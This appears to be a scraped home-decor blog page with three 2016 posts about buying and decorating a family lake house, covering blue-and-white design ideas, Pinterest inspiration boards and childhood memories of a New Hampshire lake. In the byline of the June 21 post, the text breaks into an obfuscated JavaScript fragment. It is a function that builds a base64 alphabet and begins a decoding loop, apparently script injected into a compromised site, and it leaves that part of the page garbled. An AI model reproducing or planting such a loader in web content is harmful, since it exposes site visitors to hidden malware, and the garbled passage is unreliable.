interior design

…i’ve been working on a lake house

July 11, 2016 By christen 10 Comments

Hi Friends!

I am here, but I am a busy bee this summer. I am working on our little lake house and will be for most of the summer. I am going slowly because, well, I want to play in the lake!

Yes, there is a part of me that would just like to “fix”, update and redo everything around me, and there is another part that wants to experiment and try something a bit different. I don’t want to have the same exact decor here as I do at home if that makes sense. I want to create a feeling that will refresh my family, calm us and help us recharge. At first I had the idea that I was going to literally paint everything in eye sight white – including the floors, which I still want to do.

This is what I was envisioning.

Can I get an amen?!

And I plan on doing many of these things as inspired by Pinterest. I will eventually paint the kitchen cabinets, a fireplace, some wood furniture. But, part of me wants to incorporate the shades of blue that I am noticing in every catalogs that comes in the door. Like this:

I think the risk is that with a lake or beach home, you don’t want to decorate too literally. Some blue and make one pillow referencing a lake is okay, maybe a few shells, but you don’t want to overdo it because I think it can be come a bit too much. I want it to be a subtle nod to the water around us.

I think when planning out a space you need to collect pictures that inspire you. You may not know why you feel moved by them, but that does not matter right away. What you want to get an idea of is the tone of the space. Pinterest is a great place to make a motivational board or even a three-ring binder with magazine clippings. I have at least two of these going at all times. If I see something in a catalog or magazine, I will tear it out and stuff it in the binder. It’s not very organzied in there, but it is all in one spot. I found myself really loving some of this gold, white and blues. Now, how to work it all together?

I keep going back to the movie “Something’s Gotta Give” with Jack Nickolson and Diane Keating (one of my fav movies!). The Hampton’s Beach home was literally to die for. I think I’ll start there. Oh – and she was a writer! Like she wrote her plays at the beach house – can you imagine? I can think of nothing better. Truly inspiring for this gal.

PS – It wasn’t until I started looking up these images that I found out that this very beach house is an extremely popular search for its decor.

Filed Under: building a house Tagged With: blue egg brown nest, Building a Business, Decor, Design, diy, how to paint furniture, interior design, lake house decor, Pinterest, vintage

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June 21, 2016 By christen function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do/#comments">11 Comments

…a very good place to start.

DH and I love a good project. DH and I are also getting older. Kids getting older. Time moving onward. So, when the opportunity arose to purchase a lake home that was not a complete fixer upper, we prayed. And what does God do, He gives us this nest way, way under the listing price. I always say that God answers prayer with doors. If a door is open, I move forward. If a door is closed, I move in another direction until I find an open door.

This door was open and we walked through.

Although this has always been DH’s dream and I was thrilled to see him achieve it – because he is the hardest-working, most-talented, smartest person I’ve ever met – I was pulled into his dream based on my memories of Spofford Lake. Spofford is a lake in New Hampshire where I used to go as a child with my family and my beloved Gram. I still remember her putting on her white swim cap and swimming out to what we referred to as “the rock”, which was a large, long rock just beyond the shore. She looked so big and brave when she did this.

The house was painted red, the family room had bamboo seating and the kitchen boasted an old fridge with a metal handle. I remember the sound of the water licking the small, sandy beach and the taste of the raspberries that my sister and I picked from the bushes. To this day, I cannot bite into a raspberry without immediately being brought back to this time. Sharon and I floated around the muck in our floaties, pulling strands of wild seaweed that grew upwards. We made a kitchen out of the roots in the trees, the bits of flaked wood our chicken. The woods were just a part of this wonderland as the water.

So, when we saw this property and the woods that surrounded the water, my need to have my children grow up playing in a forest grew. I really believe that imagination is as it’s greatest in nature. In our hometown, just outside the city, we do not get the opportunity to explore our brain’s potential for play.

I think Gram would be thrilled for us. I smell her in the house and feel her in the water. I feel it so strongly that I was shocked when I was driving to the one grocery store on the lake, listening to music and thinking of her and Spofford, when a car pulled in front of me. I stopped breathing when I saw the New Hampshire license plate directly in front of me, speaking just to me – Live Free or Die.

I hear that, Gram, and I’m moving in that direction.

Filed Under: building a house Tagged With: blue egg brown nest, Building a Business, creative business, home decor, interior design, painting furniture, spofford lake, vintage

…new interior design project

June 20, 2016 By christen 25 Comments

So, it’s about time that I let you in on a little secret of mine, I am designing a new home on a lake and it happens to ours. I say this with all the modesty in the world because I’m scared of all negative judgement. All I can say is that God has always taken care me. I don’t know why and I don’t always know how, but He continues move aside the storm clouds and shine down on our family. And what’s more, I feel like He continually is proud of me for letting my own light shine and not hide it under a bushel – this means everything. No more shame, no more hiding – just living my life as bravely as I can.

I want you to know about it because I am getting slowly emotionally invested in the home and it’s occupying my headspace. This process has really made me think about where I spend my time, how I want to live the next half of my life (I’m almost 40) and on a much lighter note – design trends.

I have to say that when I set out on this Blue Egg Brown Nest journey there were, what felt like, only a handful of other painters and dealers out there that were doing what I was doing and had made a name for themselves. You can see for yourself that the painted furniture and rustic look are much more main-stream. I think it is great in one regard because it is now so accessible to people where it was not when I was starting out. I remember hunting for some tall topiaries and it was near impossible to find them. Now, I can rattle of at least four major retail shops that I could order them online today!

Again, trends shifting is not a bad thing, but just to tell you a bit more about my personality, I like to be a tad different and unexpected. I want to be a little ahead of the curve in my home and in my clothes and in my earrings and in my recipes, etc. Trends change and I think that’s what keeps me excited because it is always fresh. This new project of mine is allowing me to explore some other avenues of design, while still incorporating my own taste.

I will talk more about trends this week, but I think in order for a creative person to continue to create, they have to continue to move forward. It sounds really basic, but to stay sedentary is not a good thing for this gal. I’m a very curious person and I like trying out new things.

I’m excited to have you come along with me in this next pursuit and I think you will be interested because it’s very similar to where I was when we built our current home and had no budget for furniture or decor. Here I am again challenged with a clean slate and ever so excited about it.

I’d love for you to join me.